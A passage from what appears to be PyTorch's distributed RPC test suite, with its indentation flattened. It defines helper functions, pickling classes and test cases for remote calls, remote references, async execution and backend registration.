from torch.distributed.rpc.api import _delete_all_user_and_unforked_owner_rrefs, _use_rpc_pickler, _thread_local_var, _wait_all
from torch.distributed.rpc.internal import (
PythonUDF,
RPCExecMode,
_internal_rpc_pickler,
_build_rpc_profiling_key,
)
from torch.futures import Future
from torch.testing._internal.common_distributed import (
skip_if_lt_x_gpu,
captured_output,
)
from torch.testing._internal.common_utils import (
IS_MACOS,
load_tests,
sandcastle_skip_if,
get_cycles_per_ms,
)
from torch.testing._internal.dist_utils import (
dist_init,
get_function_event,
initialize_pg,
wait_until_node_failure,
wait_until_pending_futures_and_users_flushed,
wait_until_owners_and_forks_on_rank,
worker_name,
)
from torch.testing._internal.distributed.rpc.rpc_agent_test_fixture import (
RpcAgentTestFixture,
)
from torch.testing._internal.common_utils import TemporaryFileName
from torch.autograd.profiler_legacy import profile as _profile
def foo_add():
return torch.add(torch.ones(1), torch.ones(1))
def udf_with_torch_ops(device=-1, use_record_function=False):
device_ctx = contextlib.suppress() if device == -1 else torch.cuda.device(device)
record_function_ctx = (
torch.autograd.profiler.record_function("##forward##")
if use_record_function
else contextlib.suppress()
)
with device_ctx, record_function_ctx:
t1, t2 = torch.ones(1), torch.ones(1)
t = torch.add(t1, t2)
t = torch.mul(t, t)
t = t.relu()
t = t.sigmoid()
# Events (operator invocations) that are expected to be ran as part of the above
# function.
EXPECTED_REMOTE_EVENTS = [
"aten::ones",
"aten::ones",
"aten::add",
"aten::mul",
"aten::relu",
"aten::clamp_min",
"aten::sigmoid",
]
# Remote operations are prefixed with the following string for RPC profiling.
REMOTE_OP_STR = "#remote_op: "
VALUE_FUTURE = concurrent.futures.Future()
DONE_FUTURE = concurrent.futures.Future()
FIFTY_MIL_CYCLES = 50000000
_rpc_barrier_count = 0
def _increment_count():
global _rpc_barrier_count
_rpc_barrier_count += 1
def _reset_count():
global _rpc_barrier_count
_rpc_barrier_count = 0
class StubRpcAgent:
def __init__(self, world_size):
self.world_size = world_size
def get_worker_infos(self):
return {
WorkerInfo(name=worker_name(rank), id=rank)
for rank in range(self.world_size)
}
def _stub_construct_rpc_backend_options_handler(**kwargs):
return mock.Mock() # RpcBackendOptions.
def _stub_init_rpc_backend_handler(store, name, rank, world_size, rpc_backend_options):
return StubRpcAgent(world_size=world_size)
def set_value(value):
VALUE_FUTURE.set_result(value)
def wait_for_value_future():
return VALUE_FUTURE.result()
def set_and_check_done(value):
VALUE_FUTURE.set_result(value)
return DONE_FUTURE.result()
# it is used to test python user defined function over rpc
# classes and functions are used to test python user defined class and
# methods over rpc
TensorClass = namedtuple("TensorClass", ["tensors"])
class MyPickleClass:
def __init__(self):
self.t = None
def __getstate__(self):
(pickled_python_udf, tensors) = _internal_rpc_pickler.serialize(
PythonUDF(my_tensor_function, (torch.ones(2, 2), torch.ones(2, 2)), None)
)
return (pickled_python_udf, tensors)
def __setstate__(self, obj):
python_udf = _internal_rpc_pickler.deserialize(obj[0], obj[1])
result = python_udf.func(python_udf.args[0], python_udf.args[1])
self.t = result
def set(self, val):
self.t = val
class SlowPickleClass:
def __init__(self, t):
self.t = t
def __getstate__(self):
time.sleep(self.t)
return (self.t, )
def __setstate__(self, obj):
self.t = obj[0]
time.sleep(self.t)
class MyClass:
def __init__(self, a, delay=False):
self.a = a
# delay initialization to simulate errors if specified
if delay:
time.sleep(2)
def my_instance_method(self, b):
return self.a + b
@classmethod
def my_class_method(cls, d, e):
return d + e
@staticmethod
def my_static_method(f):
return f > 10
def increment_value(self, increment):
self.a += increment
def get_value(self):
return self.a
def my_slow_method(self, my_tensor_arg):
time.sleep(5)
return torch.add(self.a, my_tensor_arg)
def _call_method_on_rref(method, rref, *args, **kwargs):
return method(rref.local_value(), *args, **kwargs)
def get_rref_list(values):
return [RRef(MyClass(a)) for a in values]
def add_rref_to_value(rref, value):
return rref.to_here() + value
def run_nested_pickle(pickle_cls_instance, tensor):
return pickle_cls_instance.t + tensor
def build_sparse_tensor(coalesce=False):
i = [[0, 1, 1], [2, 0, 2]]
v = [3, 4, 5]
tensor = torch.sparse_coo_tensor(i, v, (2, 3))
if coalesce:
tensor = tensor.coalesce()
return tensor
def build_complex_tensors():
a = torch.ones(3, 3)
b = [a, a]
c = [b, b]
d = [a, b]
e = {a: d}
return [a, b, c, d, e]
def non_cont_test(t_view, t_cont):
if t_view.is_contiguous():
raise Exception('t_view is contiguous!')
if not t_cont.is_contiguous():
raise Exception('t_cont is not contiguous!')
if not torch.equal(t_view, t_cont):
raise Exception('t_view is not equal to t_cont!')
return t_view
def my_function(a, b, c):
return a + b + c
def my_tensor_function(a, b):
return a + b
def my_container_sum(a):
result = a[0]
for tensor in a[1:]:
result += tensor
return result
def my_sleep_func(seconds=1):
time.sleep(seconds)
return torch.mul(torch.tensor(1), torch.tensor(1))
def my_complex_tensor_function(list_input, tensor_class_input, dict_input):
res = list_input[0]
for t in list_input:
res += t
for k, v in dict_input.items():
res += v
complex_tensors = tensor_class_input.tensors
return (res, complex_tensors[0], complex_tensors[1], complex_tensors[2])
def my_rref_function(rref_a, rref_b):
return rref_a.to_here() + rref_b.to_here()
def delayed_add(a, b, seconds=0.05):
time.sleep(seconds)
return a + b
def identity(a):
return a
def no_result():
print("do nothing")
def raise_or_inc(value):
if value.numel() == 2:
raise ValueError("Expected error")
return value + 1
def nested_rpc(dst):
return rpc.rpc_sync(dst, torch.add, args=(torch.ones(2, 2), 1))
def nested_rpc_sparse(dst):
return rpc.rpc_sync(
dst,
torch.add,
args=(build_sparse_tensor(), build_sparse_tensor())
)
def multi_layer_nested_async_rpc(dst, world_size, ttl):
# this method returns immediately without blocking the callee, but will
# generate additional requests.
if ttl > 0:
current_dst = worker_name(dst)
next_dst = (dst + 1) % world_size
rpc.rpc_async(
current_dst,
multi_layer_nested_async_rpc,
args=(next_dst, world_size, ttl - 1),
)
return 0
def nested_rref(dst):
return (
rpc.remote(dst, torch.add, args=(torch.ones(2, 2), 1)),
rpc.remote(dst, torch.add, args=(torch.ones(2, 2), 2)),
)
def nested_rref_sparse(dst):
return (
rpc.remote(
dst,
torch.add,
args=(build_sparse_tensor(), build_sparse_tensor())
),
rpc.remote(
dst,
torch.add,
args=(build_sparse_tensor(), build_sparse_tensor())
),
)
def nested_remote(dst):
rref = rpc.remote(dst, torch.add, args=(torch.ones(2, 2), 3))
return rref.to_here()
def nested_remote_sparse(dst):
rref = rpc.remote(dst, torch.add, args=(build_sparse_tensor(), build_sparse_tensor()))
return rref.to_here()
def rref_forward_chain(dst, world_size, rref, ttl):
if ttl > 0:
current_dst = worker_name(dst)
next_dst = (dst + 1) % world_size
ret_rref = rpc.remote(
current_dst, rref_forward_chain, args=(next_dst, world_size, rref, ttl - 1)
)
return [ret_rref]
else:
return rref.to_here()
def rpc_return_rref(dst):
return rpc.remote(dst, torch.add, args=(torch.ones(2, 2), 1))
def light_rpc():
return 0
def heavy_rpc(tensor):
for i in range(1, 100):
tensor *= i
tensor /= i + 1
return 0
def heavy_rpc_sparse(tensor):
for i in range(1, 100):
tensor *= i
tensor = tensor / (i + 1)
return 0
@torch.jit.script
def heavy_rpc_torchscript(tensor):
for i in range(1, 100):
tensor *= i
tensor /= i + 1
return 0
@torch.jit.script
def my_script_func(tensor):
return torch.add(tensor, tensor)
expected_err = "Expected error"
def raise_func():
raise ValueError(expected_err)
@torch.jit.script
def raise_func_script(expected_err: str) -> torch.Tensor:
raise ValueError(expected_err)
expected_err_escape = "\nFirst line of error \n next line of error \n last line of error"
def raise_func_escape():
raise ValueError(expected_err_escape)
global_rref = None
def set_global_rref(rref):
global global_rref
global_rref = rref
def clear_global_rref():
global global_rref
global_rref = None
def check_rref_confirmed(rref):
return rref.confirmed_by_owner()
def get_rref_debug_info():
return _rref_context_get_debug_info()
def add_use_future_cb(to, x, y, z):
out = concurrent.futures.Future()
def callback(fut):
out.set_result(fut.wait() + z)
fut = rpc.rpc_async(to, torch.add, args=(x, y))
fut.then(callback)
return out.result()
def get_events_from_profile(profile_rref):
return profile_rref.local_value().process_global_function_events
def add_use_future_set_result(to, x, y, z):
out = torch.futures.Future()
fut = rpc.rpc_async(to, torch.add, args=(x, y))
fut.then(lambda fut : out.set_result(fut.wait() + z))
return out.wait()
def add_use_future_nested_cb(to, x, y, z):
out = torch.futures.Future()
def callback(fut1):
fut2 = rpc.rpc_async(to, torch.add, args=(fut1.wait(), z))
fut2.then(lambda fut2 : out.set_result(fut2.wait()))
fut1 = rpc.rpc_async(to, torch.add, args=(x, y))
fut1.then(callback)
return out.wait()
def fail_on_fut(fut):
pass
@rpc.functions.async_execution
def async_raise_func():
raise RuntimeError("Expected error")
@rpc.functions.async_execution
def async_wrong_type():
return torch.zeros(2, 2)
@rpc.functions.async_execution
def async_add(to, x, y):
return rpc.rpc_async(to, torch.add, args=(x, y))
def slow_add(x, y, device="cpu"):
time.sleep(1)
x = x.to(device)
y = y.to(device)
return torch.add(x, y).cpu()
@rpc.functions.async_execution
def slow_async_add(to, x, y, device="cpu"):
return rpc.rpc_async(to, slow_add, args=(x, y, device))
@rpc.functions.async_execution
def async_add_with_future_ctor(to, x, y, z):
fut = torch.futures.Future()
rpc.rpc_async(to, torch.add, args=(x, y)).then(
lambda fut1: fut.set_result(fut1.wait() + z)
)
return fut
@rpc.functions.async_execution
def async_add_chained(to, x, y, z):
return rpc.rpc_async(to, torch.add, args=(x, y)).then(
lambda fut: fut.wait() + z
)
@rpc.functions.async_execution
def async_add_chained_multi(to, x, num, step):
fut = rpc.rpc_async(to, torch.add, args=(x, 0))
for _ in range(num):
fut = fut.then(lambda fut: fut.wait() + step)
return fut
@rpc.functions.async_execution
def async_add_nested(to, x, y, z):
return rpc.rpc_async(to, async_add, args=(to, x, y)).then(
lambda fut: fut.wait() + z
)
@rpc.functions.async_execution
def async_add_multi_fanout(to, x, num, step):
futs = []
for i in range(num):
if i == 0:
futs.append(rpc.rpc_async(to, torch.add, args=(x, step)))
else:
futs.append(rpc.rpc_async(to, torch.add, args=(0, step)))
# TODO: use torch.futures.collect_all
lock = Lock()
state = {"cnt": 0, "ret": torch.zeros_like(x)}
ret_future = torch.futures.Future()
def inc_and_set(fut):
with lock:
state["cnt"] += 1
state["ret"] += fut.wait()
if state["cnt"] >= len(futs):
ret_future.set_result(state["ret"])
for fut in futs:
fut.then(inc_and_set)
return ret_future
@rpc.functions.async_execution
def async_cuda_sleep_and_set_to_one(t):
device = t.device
original_stream = torch.cuda.current_stream(device)
new_stream = torch.cuda.Stream(device)
new_stream.wait_stream(original_stream)
with torch.cuda.stream(new_stream):
torch.cuda._sleep(int(1000 * get_cycles_per_ms()))
t.fill_(1)
fut = Future(devices=[device])
fut.set_result(t)
return fut
@rpc.functions.async_execution
def async_cuda_nested_add(to, x, y, z):
def cb(fut):
torch.cuda._sleep(int(1000 * get_cycles_per_ms()))
return fut.value() + z
return rpc.rpc_async(to, torch.add, args=(x, y)).then(cb)
# A custom Python class that contains a tensor, needed to see if we correctly
# use the Python pickler to extract tensors from non-IValue-convertible types.
class TensorWrapper:
__slots__ = ("tensor", "lock", "event", "thread")
def __init__(self, t):
self.tensor = t
# Add one non-picklable field, to ensure it's ignored/skipped.
self.lock = Lock()
self.event = torch.cuda.Event(enable_timing=True)
self.thread = threading.Thread()
self.thread.start()
def increase(self, v):
with self.lock:
self.tensor += v
def sum(self):
with self.lock:
self.event.record()
return self.tensor.sum()
class AsyncExecutionClass:
@staticmethod
@rpc.functions.async_execution
def static_async_add(to, x, y, z):
return rpc.rpc_async(to, torch.add, args=(x, y)).then(
lambda fut: fut.wait() + z
)
@classmethod
@rpc.functions.async_execution
def class_async_add(cls, to, x, y, z):
ret_fut = torch.futures.Future()
rpc.rpc_async(to, torch.add, args=(x, y)).then(
lambda fut: ret_fut.set_result(fut.wait() + z)
)
return ret_fut
@rpc.functions.async_execution
def bound_async_add(self, to, x, y, z):
return rpc.rpc_async(to, torch.add, args=(x, y)).then(
lambda fut: fut.wait() + z
)
def return_future():
return torch.futures.Future()
class FooBackendOptions(rpc.RpcBackendOptions):
def __init__(self, init_method):
# Must call the __init__ of the superclass (and do so directly,
# without using super()) because... pybind.
rpc.RpcBackendOptions.__init__(self)
self.init_method = init_method
# load_tests from common_utils is used to automatically filter tests for
# sharding on sandcastle. This line silences flake warnings
load_tests = load_tests
class MyEmbeddingBagModel(torch.nn.Module):
def __init__(self, sparse):
super().__init__()
self.eb = torch.nn.EmbeddingBag(
10,
10,
sparse=sparse
)
def forward(self, x):
return self.eb(x)
class MyParameterServer:
def __init__(self, trainers):
self.lock = Lock()
self.trainers = trainers
self.iteration = 0
self.updates = 0
self.futures = []
self.total = None
self.gradient = None
@staticmethod
def get_gradient(rref):
return rref.local_value().gradient
@staticmethod
@rpc.functions.async_execution
def average(rref, riteration, tensor):
self = rref.local_value()
fut = torch.futures.Future()
with self.lock:
if riteration > self.iteration:
self.iteration = riteration
self.updates = 0
self.futures.clear()
self.futures.append(fut)
if self.total is None:
self.total = tensor
else:
self.total += tensor
self.updates += 1
if self.trainers == self.updates:
self.gradient = self.total / float(self.trainers)
for fut in self.futures:
result = self.total / float(self.trainers)
fut.set_result(result)
return fut
class RpcTestCommon():
def _run_func_in_mode(self, to, fn, mode, args=None, kwargs=None):
if mode == RPCExecMode.SYNC:
return rpc.rpc_sync(to, fn, args=args, kwargs=kwargs)
elif mode == RPCExecMode.ASYNC:
return rpc.rpc_async(to, fn, args=args, kwargs=kwargs).wait()
elif mode == RPCExecMode.REMOTE:
return rpc.remote(to, fn, args=args, kwargs=kwargs).to_here()
def _self_py_udf_remote(self, worker_info, x, y, z):
rref = rpc.remote(worker_info, my_function, args=(x, y, z))
self.assertEqual(rref.to_here(), x + y + z)
def _self_remote_rref_as_rpc_arg(self, dst, x, y, z):
self_worker_info = rpc.get_worker_info()
rref = rpc.remote(self_worker_info, my_function, args=(x, y, z))
fut = rpc.rpc_async(dst, add_rref_to_value, args=(rref, x))
ret = rpc.rpc_sync(dst, add_rref_to_value, args=(rref, x + y))
self.assertEqual(ret, x + y + z + x + y)
self.assertEqual(fut.wait(), x + y + z + x)
def _self_remote_rref_as_remote_arg(self, dst, x, y, z):
self_worker_info = rpc.get_worker_info()
rref = rpc.remote(self_worker_info, my_function, args=(x, y, z))
ret_rref = rpc.remote(dst, add_rref_to_value, args=(rref, x))
self.assertEqual(
ret_rref.to_here(), x + y + z + x
)
def _world_size_one(self, a, b):
if self.rank == 0:
rpc.init_rpc(
name="me",
backend=self.rpc_backend,
rank=0,
world_size=1,
rpc_backend_options=self.rpc_backend_options,
)
def _rpc_sync(x, y):
expect = x * 2
result = rpc.rpc_sync(
"me",
my_tensor_function,
args=(x, y)
)
self.assertEqual(expect, result)
def _rpc_async(x, y):
expect = x * 2
result = rpc.rpc_async(
"me",
my_tensor_function,
args=(x, y)
).wait()
self.assertEqual(expect, result)
def _remote(x, y):
expect = x * 2
result = rpc.remote(
"me",
my_tensor_function,
args=(x, y)
).to_here()
self.assertEqual(expect, result)
_rpc_sync(a, b)
_rpc_async(a, b)
_remote(a, b)
rpc.shutdown()
def _multi_rpc(self, sparse):
dst_rank = (self.rank + 1) % self.world_size
for i in range(20):
n = i + self.rank + 1
if sparse:
x = build_sparse_tensor() * n
y = build_sparse_tensor() * n
else:
x = torch.ones(2, 2)
y = torch.ones(2, 2)
ret = rpc.rpc_sync(
worker_name(dst_rank),
torch.add,
args=(x, y),
)
self.assertEqual(ret, x * 2)
def _wait_all_workers(self, f, x):
initialize_pg(self.file_init_method, self.rank, self.world_size)
rpc.init_rpc(
name="worker%d" % self.rank,
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
self._run_uneven_workload(f, x)
# worker0 calls this at the end after waiting for RPC responses.
# worker1/2 calls this immediately and has some works after it.
# worker3 calls this immediately and has no more work.
rpc.api._wait_all_workers()
# Wait before proceeding to shutdown to ensure worker0 RPCs make
# it through to other workers.
dist.barrier()
rpc.shutdown(graceful=False)
def _wait_all_workers_twice(self, f, x):
initialize_pg(self.file_init_method, self.rank, self.world_size)
rpc.init_rpc(
name="worker%d" % self.rank,
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
self._run_uneven_workload(f, x)
# worker0 calls this at the end after waiting for RPC responses.
# worker1/2 calls this immediately and has some works after it.
# worker3 calls this immediately and has no more work.
rpc.api._wait_all_workers()
rpc.api._wait_all_workers()
# Wait before proceeding to shutdown to ensure worker0 RPCs make
# it through to other workers.
dist.barrier()
rpc.shutdown(graceful=False)
def _nested_rpc(self, f, expected):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(
worker_name(dst_rank),
f,
args=(worker_name(self.rank),),
)
self.assertEqual(ret, expected)
def _stress_test_rpc(self, f, repeat=1000, args=()):
n = self.rank + 1
dst_rank = n % self.world_size
futs = []
tik = time.time()
for _ in range(repeat):
fut = rpc.rpc_async(worker_name(dst_rank), f, args=args)
futs.append(fut)
for val in torch.futures.wait_all(futs):
self.assertEqual(val, 0)
tok = time.time()
print(
"Rank {} finished testing {} times in {} seconds.".format(
self.rank, repeat, tok - tik
)
)
def _builtin_remote_ret(self, x, y, expected):
n = self.rank + 1
dst_rank = n % self.world_size
rref = rpc.remote(
worker_name(dst_rank),
torch.add,
args=(x, y),
)
self.assertEqual(rref.to_here(), expected)
def _builtin_remote_self(self, x, y, expected):
rref = rpc.remote(
worker_name(self.rank),
torch.add,
args=(x, y),
)
self.assertEqual(rref.local_value(), expected)
def _test_multi_remote_call(self, fn, sparse, args_fn=lambda x, y: (), kwargs_fn=lambda x, y: {}):
m = 10
n = self.rank + 1
dst_rank = n % self.world_size
rrefs = []
expected = []
for i in range(m):
n = n + i
rrefs.append(
rpc.remote(
worker_name(dst_rank),
fn,
args=args_fn(n, sparse),
kwargs=kwargs_fn(n, sparse),
)
)
expected.append(fn(*args_fn(n, sparse), **kwargs_fn(n, sparse)))
for i in range(m):
self.assertEqual(rrefs[i].to_here(), expected[i])
def _py_rref_args(self, a, b, x, y, expected):
n = self.rank + 1
dst_rank = n % self.world_size
rref_a = rpc.remote(
worker_name(dst_rank), torch.add, args=(a, b)
)
rref_b = rpc.remote(
worker_name(dst_rank), torch.add, args=(x, y)
)
rref_c = rpc.remote(
worker_name(dst_rank), my_rref_function, args=(rref_a, rref_b)
)
self.assertEqual(rref_c.to_here(), expected)
def _py_rref_args_user_share(self, a, b, c, x, y, z, expected):
n = self.rank + 1
owner_rank = n % self.world_size
user_rank = (n + 1) % self.world_size
rref_a = rpc.remote(
worker_name(owner_rank), my_function, args=(a, b, c)
)
rref_b = rpc.remote(
worker_name(owner_rank), my_function, args=(x, y, z)
)
rref_c = rpc.remote(
worker_name(user_rank), my_rref_function, args=(rref_a, rref_b)
)
self.assertEqual(rref_c.to_here(), expected)
def _py_rpc_rref_args(self, a, b, c, x, y, z, expected):
n = self.rank + 1
dst_rank = n % self.world_size
rref_a = rpc.remote(
worker_name(dst_rank), my_function, args=(a, b, c)
)
rref_b = rpc.remote(
worker_name(dst_rank), my_function, args=(x, y, z)
)
c = rpc.rpc_sync(
worker_name(dst_rank), my_rref_function, args=(rref_a, rref_b)
)
self.assertEqual(c, expected)
def _nested_remote(self, f, expected):
n = self.rank + 1
dst_rank1 = n % self.world_size
dst_rank2 = (n + 1) % self.world_size
rref = rpc.remote(
worker_name(dst_rank1),
f,
args=(worker_name(dst_rank2),),
)
self.assertEqual(rref.to_here(), expected)
def _nested_rref(self, f, expected1, expected2):
n = self.rank + 1
dst_rank1 = n % self.world_size
dst_rank2 = (n + 1) % self.world_size
rref_of_rrefs = rpc.remote(
worker_name(dst_rank1),
f,
args=(worker_name(dst_rank2),),
)
# Say C has 2 OwnerRRefs.
# B has 2 UserRRefs to those 2 OwnerRRefs, respectively.
# This call is effectively A asking B to share its 2 UserRRefs.
rrefs = rref_of_rrefs.to_here()
self.assertEqual(len(rrefs), 2)
self.assertEqual(rrefs[0].to_here(), expected1)
self.assertEqual(rrefs[1].to_here(), expected2)
def _nested_rref_stress(self, f, expected1, expected2):
n = self.rank + 1
dst_rank1 = n % self.world_size
dst_rank2 = (n + 1) % self.world_size
all_rrefs = []
for _ in range(20):
all_rrefs.append(
rpc.remote(
worker_name(dst_rank1),
f,
args=(worker_name(dst_rank2),),
)
)
for i in range(20):
rref_of_rrefs = all_rrefs[i]
rrefs = rref_of_rrefs.to_here()
self.assertEqual(len(rrefs), 2)
self.assertEqual(rrefs[0].to_here(), expected1)
self.assertEqual(rrefs[1].to_here(), expected2)
def _my_parameter_server(self, sparse):
ps_rref = RRef(MyParameterServer(self.world_size - 1))
futures = []
for index in range(1, self.world_size):
futures.append(
rpc.rpc_async(
worker_name((self.rank + index) % self.world_size),
self._trainer_func,
args=(
ps_rref,
sparse
),
)
)
torch.futures.wait_all(futures)
def _test_cuda_future_extraction(self, wrapper, unwrapper, sparse_tensor):
# We check proper CUDA stream synchronization by adding to the tensor
# in one stream to get the expected value, and reading it from another stream.
future = Future(devices=["cuda:0"])
with torch.cuda.device("cuda:0"):
stream = torch.cuda.Stream()
another_stream = torch.cuda.Stream()
with torch.cuda.stream(stream):
if sparse_tensor:
tensor = build_sparse_tensor().to("cuda:0")
add_tensor = build_sparse_tensor().to("cuda:0")
expected_tensor = (tensor + add_tensor).coalesce()
else:
tensor = torch.zeros((100,), device="cuda:0")
add_tensor = torch.ones((100,), device="cuda:0")
expected_tensor = tensor + add_tensor
torch.cuda._sleep(int(1000 * get_cycles_per_ms()))
tensor += add_tensor
if sparse_tensor:
tensor = tensor.coalesce()
future.set_result(wrapper(tensor))
with torch.cuda.stream(another_stream):
tensor = unwrapper(future.wait())
if sparse_tensor:
self.assertTrue(torch.eq(tensor.indices(), expected_tensor.indices()).all().item())
self.assertTrue(torch.eq(tensor.values(), expected_tensor.values()).all().item())
self.assertEqual(tensor.size(), expected_tensor.size())
else:
self.assertTrue(torch.eq(tensor, expected_tensor).all().item())
class RpcTest(RpcAgentTestFixture, RpcTestCommon):
@dist_init
def test_worker_id(self):
n = self.rank + 1
peer_rank = n % self.world_size
self_worker_info = rpc.get_worker_info()
peer_worker_info = rpc.get_worker_info(worker_name(peer_rank))
self.assertEqual(self_worker_info.name, worker_name(self.rank))
self.assertEqual(peer_worker_info.name, worker_name(peer_rank))
with self.assertRaisesRegex(RuntimeError, "Unknown destination worker"):
unknown_worker_id = rpc.get_worker_info("WorkerUnknown")
@dist_init
def test_get_worker_infos(self):
worker_infos = rpc.api._get_current_rpc_agent().get_worker_infos()
worker_names = {worker_info.name for worker_info in worker_infos}
expected_worker_names = {
worker_name(rank) for rank in range(self.world_size)
}
self.assertEqual(worker_names, expected_worker_names)
worker_ids = {worker_info.id for worker_info in worker_infos}
expected_worker_ids = set(range(self.world_size))
self.assertEqual(worker_ids, expected_worker_ids)
@dist_init
def test_self_add(self):
self_worker_info = rpc.get_worker_info()
self_worker_name = worker_name(self.rank)
fut = rpc.rpc_async(self_worker_info, torch.add, args=(torch.ones(2, 2), 1))
ret = rpc.rpc_sync(self_worker_info, torch.add, args=(torch.ones(2, 2), 1))
self.assertEqual(fut.wait(), torch.ones(2, 2) + 1)
self.assertEqual(ret, torch.ones(2, 2) + 1)
@dist_init
def test_send_to_rank(self):
dst_rank = (self.rank + 1) % self.world_size
# Test dense tensor
for exec_mode in [RPCExecMode.SYNC, RPCExecMode.ASYNC, RPCExecMode.REMOTE]:
ret = self._run_func_in_mode(dst_rank, torch.add, exec_mode, args=(torch.ones(2, 2), 1))
self.assertEqual(ret, torch.ones(2, 2) + 1)
# Test invalid ranks
for exec_mode in [RPCExecMode.SYNC, RPCExecMode.ASYNC, RPCExecMode.REMOTE]:
with self.assertRaises(RuntimeError):
self._run_func_in_mode(self.world_size + 1, torch.add, exec_mode, args=(torch.ones(2, 2), 1))
for exec_mode in [RPCExecMode.SYNC, RPCExecMode.ASYNC, RPCExecMode.REMOTE]:
with self.assertRaises(RuntimeError):
self._run_func_in_mode(-1, torch.add, exec_mode, args=(torch.ones(2, 2), 1))
for exec_mode in [RPCExecMode.SYNC, RPCExecMode.ASYNC, RPCExecMode.REMOTE]:
with self.assertRaises(ValueError):
self._run_func_in_mode(dst_rank + 0.5, torch.add, exec_mode, args=(torch.ones(2, 2), 1))
for exec_mode in [RPCExecMode.SYNC, RPCExecMode.ASYNC, RPCExecMode.REMOTE]:
with self.assertRaises(ValueError):
self._run_func_in_mode(dst_rank - 0.5, torch.add, exec_mode, args=(torch.ones(2, 2), 1))
@dist_init
def test_self_py_udf_remote(self):
self._self_py_udf_remote(
rpc.get_worker_info(),
torch.ones(2, 2),
1,
3
)
@dist_init
def test_self_remote_rref_as_rpc_arg(self):
dst = worker_name((self.rank + 1) % self.world_size)
self._self_remote_rref_as_rpc_arg(
dst,
torch.ones(2, 2),
1,
3
)
@dist_init
def test_self_remote_rref_as_self_rpc_arg(self):
self._self_remote_rref_as_rpc_arg(
rpc.get_worker_info(),
torch.ones(2, 2),
1,
3
)
@dist_init
def test_self_remote_rref_as_remote_arg(self):
dst = worker_name((self.rank + 1) % self.world_size)
self._self_remote_rref_as_remote_arg(
dst,
torch.ones(2, 2),
1,
3
)
@dist_init
def test_self_remote_rref_as_self_remote_arg(self):
self._self_remote_rref_as_remote_arg(
rpc.get_worker_info(),
torch.ones(2, 2),
1,
3
)
@dist_init
def test_rref_proxy_non_exist(self):
dst = worker_name((self.rank + 1) % self.world_size)
rref = rpc.remote(dst, my_function, args=(torch.ones(2, 2), 1, 3))
msg = "has no attribute \'non_exist\'"
with self.assertRaisesRegex(AttributeError, msg):
rref.rpc_sync().non_exist()
with self.assertRaisesRegex(AttributeError, msg):
rref.rpc_async().non_exist().wait()
with self.assertRaisesRegex(AttributeError, msg):
rref.remote().non_exist()
def _test_rref_proxy_tensor(self, dst):
rref = rpc.remote(dst, my_function, args=(torch.ones(2, 2), 1, 3))
expected = torch.ones(2, 2) + 1 + 3
self.assertEqual(expected.size(), rref.rpc_sync().size())
self.assertEqual(expected + 1, rref.rpc_async().add(1).wait())
self.assertEqual(expected.view(1, 4), rref.remote().view(1, 4).to_here())
@dist_init
def test_rref_proxy_tensor(self):
self._test_rref_proxy_tensor(worker_name((self.rank + 1) % self.world_size))
@dist_init
def test_rref_proxy_tensor_self(self):
self._test_rref_proxy_tensor(rpc.get_worker_info())
@dist_init
def test_rref_proxy_reuse(self):
rref = rpc.remote(
worker_name((self.rank + 1) % self.world_size),
my_function,
args=(torch.ones(2, 2), 1, 3)
)
expected = torch.ones(2, 2) + 1 + 3
proxy_rpc_sync = rref.rpc_sync()
proxy_rpc_async = rref.rpc_async()
proxy_remote = rref.remote()
self.assertEqual(expected.size(), proxy_rpc_sync.size())
self.assertEqual(expected + 1, proxy_rpc_sync.add(1))
self.assertEqual(expected.view(1, 4), proxy_rpc_sync.view(1, 4))
self.assertEqual(expected.size(), proxy_rpc_async.size().wait())
self.assertEqual(expected + 3, proxy_rpc_async.add(3).wait())
self.assertEqual(expected.view(4, 1), proxy_rpc_async.view(4, 1).wait())
self.assertEqual(expected.size(), proxy_remote.size().to_here())
self.assertEqual(expected + 5, proxy_remote.add(5).to_here())
self.assertEqual(expected.view(-1), proxy_remote.view(-1).to_here())
def _test_rref_proxy_class(self, dst):
rref = rpc.remote(dst, MyClass, args=(7,))
expected = MyClass(7)
self.assertEqual(expected.get_value(), rref.rpc_sync().get_value())
self.assertEqual(expected.get_value(), rref.rpc_async().get_value().wait())
self.assertEqual(expected.get_value(), rref.remote().get_value().to_here())
expected.increment_value(3)
self.assertEqual(None, rref.rpc_sync().increment_value(1))
self.assertEqual(None, rref.rpc_async().increment_value(1).wait())
self.assertEqual(None, rref.remote().increment_value(1).to_here())
self.assertEqual(expected.get_value(), rref.rpc_sync().get_value())
self.assertEqual(expected.get_value(), rref.rpc_async().get_value().wait())
self.assertEqual(expected.get_value(), rref.remote().get_value().to_here())
self.assertEqual(
expected.my_instance_method(2),
rref.rpc_sync().my_instance_method(2)
)
self.assertEqual(
expected.my_instance_method(3),
rref.rpc_async().my_instance_method(3).wait()
)
self.assertEqual(
expected.my_instance_method(4),
rref.remote().my_instance_method(4).to_here()
)
self.assertEqual(
expected.my_static_method(9),
rref.rpc_sync().my_static_method(9)
)
self.assertEqual(
expected.my_static_method(10),
rref.rpc_async().my_static_method(10).wait()
)
self.assertEqual(
expected.my_static_method(11),
rref.remote().my_static_method(11).to_here()
)
self.assertEqual(
expected.my_class_method(2, torch.zeros(2, 2)),
rref.rpc_sync().my_class_method(2, torch.zeros(2, 2))
)
self.assertEqual(
expected.my_class_method(2, torch.ones(3, 3)),
rref.rpc_async().my_class_method(2, torch.ones(3, 3)).wait()
)
self.assertEqual(
expected.my_class_method(2, torch.ones(4, 4)),
rref.remote().my_class_method(2, torch.ones(4, 4)).to_here()
)
@dist_init
def test_rref_proxy_class(self):
self._test_rref_proxy_class(worker_name((self.rank + 1) % self.world_size))
@dist_init
def test_rref_proxy_class_self(self):
self._test_rref_proxy_class(rpc.get_worker_info())
@mock.patch.object(torch.distributed.autograd, "_init")
@mock.patch.object(torch.distributed.rpc.api, "_set_and_start_rpc_agent")
@dist_init(setup_rpc=False)
def test_register_rpc_backend_and_set_and_start_rpc_backend(
self, mock_rpc_agent, mock_dist_autograd_init
):
backend_name = "stub_backend"
backend = rpc.backend_registry.register_backend(
backend_name,
_stub_construct_rpc_backend_options_handler,
_stub_init_rpc_backend_handler,
)
with self.assertRaisesRegex(
RuntimeError, "^RPC backend .+: already registered$"
):
backend = rpc.backend_registry.register_backend(
backend_name,
_stub_construct_rpc_backend_options_handler,
_stub_init_rpc_backend_handler,
)
rpc.init_rpc(
name="worker1",
